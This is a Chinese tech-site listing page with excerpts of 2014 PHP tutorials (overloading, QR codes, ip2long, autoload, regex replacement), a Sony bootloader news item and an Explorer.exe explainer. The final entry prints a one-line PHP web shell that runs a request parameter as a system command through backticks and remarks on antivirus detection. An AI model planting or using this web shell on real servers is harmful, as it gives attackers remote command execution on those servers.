-
PHP和JAVA中的重载(overload)和覆盖(override) 介绍
本文为大家讲解的是PHP和JAVA中的重载(overload)和覆盖(override) 介绍,感兴趣的同学参考下. 重载:同一个类中,函数名一样,返回值或者参数类型,个数不一样的叫做重载。 覆盖:同名函数,同返回值类型,同参数的叫做覆盖...
PHP 2014-12-15 07:42:03 -
使用PHP生成二维码的两种方法(中间带logo图像)
本文是一个使用PHP生成二维码的两种方法(中间带logo图像),感兴趣的同学参考下. 随着科技的进步,二维码应用领域越来越广泛,今天我给大家分享下如何使用PHP生成二维码,以及如何生成中间带LOGO图像的二维码 一、利用Google API生成二维码 Google提供了较为完善的二维码生成接口,调用API接口很简单,以下是调用代码: $urlToEncode="http://www.jb51.net"; generateQRfromGoogle($urlToEncode); /** * google api 二维码生成【QRcode可以存储最多4296个字母数字类型的任意文本,具体可以查看二维码数据格式】 * @param string $chl 二维码包含的信息,可以是数字、字符、二进制信息、汉字。 不能混合数据类型,数据必须经过UTF-8 URL-encoded * @para...
PHP 2014-12-15 06:57:03 -
PHP函数ip2long转换IP时数值太大产生负数的解决方法
本文为大家讲解的是PHP函数ip2long转换IP时数值太大产生负数的解决方法,感兴趣的同学参考下。 【造成原因】:Because PHP's integer type is signed, and many IP addresses will result in negative integers. 【解决办法】:其官方手册中提到,可以“you need to use the "%u" formatter of sprintf() or printf() to get the string representation of the unsigned IP address” 即,printf( '%u', ip2long( 'IP地址' ) ); 或者将其先转换为二进制然后在转换为十进制,bindec( decbin( ip2long( 'IP地址' ) ) ); 【测试】 $strIp = '182.118.0.0'; echo ip2long(...
PHP 2014-12-15 05:51:04 -
php字符串分割函数explode使用说明
本文以示例的方式向大家讲解了php字符串分割函数explode使用说明,感兴趣的同学参考下。 在php中分割一个字符串,我们可以使用函数explode(),其原型如下 array explode (string $separator, string $string [, int $limit]) 该函数有3个参数,第一个参数$separator设置一个分割字符(串)...
PHP 2014-12-15 05:30:05 -
php中is_null,empty,isset,unset 的区别介绍
本文为大家讲解的是php中is_null,empty,isset,unset 的区别介绍,感兴趣的同学参考下。 is_null, empty, isset, unset 我们先来看看这4个函数的描述...
PHP 2014-12-15 00:45:05 -
php中FTP函数ftp_connect、ftp_login与ftp_chmod用法
本文为大家整理讲解的是php中FTP函数ftp_connect、ftp_login与ftp_chmod用法,详细讲述了PHP的FTP操作技巧,并以实例形式对ftp_connect、ftp_login与ftp_chmod的用法进行了总结,需要的朋友可以参考下 ftp_connect() 函数建立一个新的 ftp 连接,若成功,则返回一个连接标识,否则返回 false. 语法:ftp_connect(host,port,timeout),实例代码如下: $file='public_html/index...
PHP 2014-12-14 20:45:06 -
php _autoload自动加载类与机制分析
本文是一个php _autoload自动加载类与机制分析,感兴趣的同学参考下. 在使用PHP的OO模式开发系统时,通常大家习惯上将每个类的实现都存放在一个单独的文件里,这样会很容易实现对类进行复用,同时将来维护时也很便利。这也是OO设计的基本思想之一 在PHP5之前,如果需要使用一个类,只需要直接使用include/require将其包含进来即可 test.class.php <?php class abc{ function __construct() { echo 'www.hzhuti.com; } } ?> load.php 代码如下 <?php class LOAD { static function loadClass($class_name) { $filename = $class_name.".class.php"; if (is_file($filename)) return include_once $filename; } } /** * 设...
PHP 2014-12-14 20:12:27 -
刷机党大爱!索尼为Xperia手机解锁Bootloader
站长搜索(www.adminso.com):刷机党大爱!索尼为Xperia手机解锁Bootloader 站长搜索讯 在简化了Xperia Z2和Z2平板的Bootloader解锁程序后,索尼今日又在SonyXperiaDev频道推出一段视频,为用户详解解锁Bootloader的全过程。对于一部安卓手机来说,解锁Bootloader意味着我们可以安装第三方ROM、甚至是第三方的核心...
业界动态 2014-12-14 15:30:06 -
PHP正则替换函数preg_replace和preg_replace_callback使用总结
本文主要为大家讲解了PHP正则替换函数preg_replace和preg_replace_callback的使用方法,感兴趣的同学参考下. 在编写PHP模板引擎工具类时,以前常用的一个正则替换函数为 preg_replace(),加上正则修饰符 /e,就能够执行强大的回调函数,实现模板引擎编译(其实就是字符串替换)。 应用举例如下: <?php /** * 模板解析类 */ class Template { public function compile($template) { // if逻辑 $template = preg_replace("/<!--{ifs+(.+?)}-->/e", "$this->ifTag('\1')", $template); return $template; } ...
PHP 2014-12-13 22:33:11 -
php preg_match_all结合str_replace替换内容中所有img
本文是一个php结合preg_match_all函数结合str_replace函数实现的可以用来替换内容中所有img标签的代码,感兴趣的同学参考下. 最近做站的时候,采集了大量的数据,但采回来的数据基本上都要经过过滤原站保留的数据,其中IMG就是一个地方。网站上好多这些应用例子似乎没有必要“秀”出来,但站已几天没写日志,那就来一个吧 采集回来的图片img标签中,有好多javascript脚本和无用的信息,必需过替换自己想要的,比如alt...
PHP 2014-12-13 07:36:04 -
WinXP中Explorer.exe进程有什么用?可以关闭吗?
在Windows系列的操作系统中,运行时都会启动一个名为Explorer.exe的进程。这个进程主要负责显示系统桌面上的图标以及任务栏,它在不同的系统中有不同的妙用...
系统程序 2014-12-13 07:00:04 -
php一句话cmdshell新型 (非一句话木马)
本文为大家讲解了一个新的一句话木马写法:"`"(键盘上~符号的下档键),和python中一样,这个符号中的命令会被php解析器执行,感兴趣的同学参考下. php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); <?php /*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); //局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码; //write by skyfire */ echo `$_REQUEST[id]`; ?> ...
PHP 2014-12-13 05:27:08